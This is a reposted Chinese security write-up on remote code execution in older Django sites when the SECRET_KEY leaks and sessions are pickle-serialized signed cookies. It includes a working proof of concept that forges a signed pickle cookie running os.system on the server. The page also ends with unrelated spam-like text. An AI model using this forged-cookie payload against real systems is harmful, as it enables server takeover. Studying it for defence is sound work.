<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/web/8528

                    0x00 背景


                    最近審查代碼發現某些產品在登錄的JS代碼中泄露了SECRET_KEY,將該值作為密碼加密的鹽,這樣就暴露了加密salt不太好吧,更重要的是對django的安全造成了極大的威脅。

                    0x01 SECRET_KEY作用


                    SECTET_KEYdjanog中使用非常廣泛,基本上涉及到安全,加密等的地方都用到了,下面列舉一些常見情景:

                    1,json object的簽名

                    2,加密函數,如密碼重置,表單,評論,csrfkeysession數據

                    這里面就要重點講到session的問題,在這里使用不當就會導致代碼執行

                    0x02 代碼執行


                    2.1 settings的session設置

                    django默認存儲session到數據庫中,但是可能會比較慢,就會使用到緩存,文件,還有cookie等方式,如果采用了cookie機制則有可能代碼執行,settings配置如下:

                    SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
                    

                    2.2 django 1.6以下

                    django1.6以下,session默認是采用pickle執行序列號操作,在1.6及以上版本默認采用json序列化。代碼執行只存在于使用pickle序列話的操作中。

                    2.3 session處理流程

                    可以簡單的分為兩部分,process_requestprocess_response,前者負責選擇session引擎,初始化cookie數據。見代碼

                    #!python
                    class SessionMiddleware(object):
                        def process_request(self, request):
                            engine = import_module(settings.SESSION_ENGINE)
                            session_key = request.COOKIES.get(settings.SESSION_COOKIE_NAME, None)
                            request.session = engine.SessionStore(session_key)
                    

                    process_response則是處理返回給用戶的cookie信息,比如修改過期時間等。在將session存入緩存后,可能在某個操作中會用到session信息,這個時候就會通過反序列化操作從緩存中取,如果反序列話引擎是采用pickle機制的話就存在代碼執行。反序列化的代碼位于django.core.signing.py中,這個模塊主要是一些簽名,加解密操作,同時也包含序列化和反序列化,默認采用JSON引擎,下面是反序列話loads的代碼:

                    #!python
                    def loads(s, key=None, salt='django.core.signing', serializer=JSONSerializer, max_age=None):
                        """
                        Reverse of dumps(), raises BadSignature if signature fails
                        """
                        base64d = smart_str(
                            TimestampSigner(key, salt=salt).unsign(s, max_age=max_age))
                        decompress = False
                        if base64d[0] == '.':
                            # It's compressed; uncompress it first
                            base64d = base64d[1:]
                            decompress = True
                        data = b64_decode(base64d)
                        if decompress:
                            data = zlib.decompress(data)
                        return serializer().loads(data)
                    

                    2.4 構造POC

                    #!python
                    import os
                    os.environ.setdefault('DJANGO_SETTINGS_MODULE','settings')
                    from django.conf import settings
                    from django.core import signing
                    from django.contrib.sessions.backends import signed_cookies
                    
                    
                    class Run(object):
                        def __reduce__(self):
                            return (os.system,('touch /tmp/xxlegend.log',))
                    
                    sess = signing.dumps(Run(), serializer=signed_cookies.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
                    print sess
                    
                    import urllib2
                    import cookielib
                    
                    url = 'http://10.24.35.228:8000/favicon.ico'
                    headers = {'Cookie':'sessionid="%s"' %(sess)}
                    request = urllib2.Request(url,headers = headers)
                    response = urllib2.urlopen(request)
                    print response.read()
                    

                    通過序列化Run類,實現創建一個文件的操作,在反序列化的時候執行這個操作。執行代碼完成可看到在/tmp目錄創建xxlegend.log文件,同時web500錯誤。

                    0x03 總結


                    利用條件總結起來就是這么幾句話,首先泄露了SECRET_KEY,其次session引擎采用了signed_cookies,django版本小于1.6即存在代碼執行問題。同樣的問題也存在于python的其他web框架中,如flaskbottle

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频